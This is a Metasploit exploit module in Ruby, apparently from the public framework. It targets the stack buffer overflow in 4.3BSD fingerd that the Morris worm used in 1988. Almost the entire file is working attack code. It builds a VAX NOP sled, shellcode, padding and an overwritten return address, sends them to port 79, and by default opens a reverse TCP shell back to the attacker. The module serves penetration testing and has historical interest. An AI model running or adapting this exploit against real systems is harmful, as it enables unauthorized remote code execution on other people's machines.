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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = NormalRanking
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  # This is so one-off that we define it here
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  ARCH_VAX = 'vax'
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  include Msf::Exploit::Remote::Tcp
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  prepend Msf::Exploit::Remote::AutoCheck
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Morris Worm fingerd Stack Buffer Overflow',
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        'Description' => %q{
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          This module exploits a stack buffer overflow in fingerd on 4.3BSD.
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          This vulnerability was exploited by the Morris worm in 1988-11-02.
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          Cliff Stoll reports on the worm in the epilogue of The Cuckoo's Egg.
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          Currently, only bsd/vax/shell_reverse_tcp is supported.
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        },
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        'Author' => [
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          'Robert Tappan Morris', # Discovery? Exploit and worm for sure
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          'Cliff Stoll',          # The Cuckoo's Egg epilogue and inspiration
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          'wvu'                   # Module, payload, and additional research
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        ],
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        'References' => [
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          ['URL', 'https://en.wikipedia.org/wiki/Morris_worm'],         # History
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          ['URL', 'https://spaf.cerias.purdue.edu/tech-reps/823.pdf'],  # Analysis
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          ['URL', 'http://computerarcheology.com/Virus/MorrisWorm/'],   # Details
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          ['URL', 'https://github.com/arialdomartini/morris-worm'],     # Source
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          ['URL', 'http://gunkies.org/wiki/Installing_4.3_BSD_on_SIMH'] # Setup
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          # And credit to the innumerable VAX ISA docs on the Web
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        ],
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        'DisclosureDate' => '1988-11-02',
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        'License' => MSF_LICENSE,
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        'Platform' => 'bsd',
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        'Arch' => ARCH_VAX,
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        'Privileged' => false, # Depends on inetd.conf, usually "nobody"
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        'Targets' => [
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          # https://en.wikipedia.org/wiki/Source_Code_Control_System
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          [
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            '@(#)fingerd.c   5.1 (Berkeley) 6/6/85',
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            {
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              'Ret' => 0x7fffe9b0,
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              'Payload' => {
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                'Space' => 403,
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                'BadChars' => "\n",
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                'Encoder' => 'generic/none', # There is no spoon
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                'DisableNops' => true # Hardcoded NOPs
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              }
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            }
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          ]
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        ],
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        'DefaultTarget' => 0,
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        'DefaultOptions' => { 'PAYLOAD' => 'bsd/vax/shell_reverse_tcp' },
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        'Notes' => {
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          'Reliability' => [ REPEATABLE_SESSION ],
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          'Stability' => [ CRASH_SERVICE_RESTARTS ],
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          'SideEffects' => [ IOC_IN_LOGS ]
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        }
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      )
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    )
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    register_options([Opt::RPORT(79)])
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  end
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  def check
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    token = rand_text_alphanumeric(8..42)
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    connect
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    sock.put("#{token}\n")
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    res = sock.get_once
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    return CheckCode::Unknown unless res
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    if res.include?("Login name: #{token}")
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      return CheckCode::Detected
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    end
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    CheckCode::Safe
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  rescue EOFError, Rex::ConnectionError => e
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    vprint_error(e.message)
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    CheckCode::Unknown
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  ensure
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    disconnect
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  end
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  def exploit
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    # Start by generating our custom VAX shellcode
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    shellcode = payload.encoded
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    # 0x01 is NOP in VAX-speak
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    nops = "\x01" * (target.payload_space - shellcode.length)
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    # This pads past buffer corruption
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    padding = rand_text_alphanumeric(109)
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    # This zeroes out part of the stack frame
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    frame = "\x00" * 16
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    # Finally, pack in our return address
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    ret = [target.ret].pack('V') # V is for VAX!
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    # The newline is for gets(3)
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    sploit = nops + shellcode + padding + frame + ret + "\n"
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    # Fire away
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    print_status('Connecting to fingerd')
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    connect
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    print_status("Sending #{sploit.length}-byte buffer")
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    sock.put(sploit)
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  # Hat tip @bcoles
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  rescue Rex::ConnectionError => e
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    fail_with(Failure::Unreachable, e.message)
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  ensure
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    disconnect
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  end
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end
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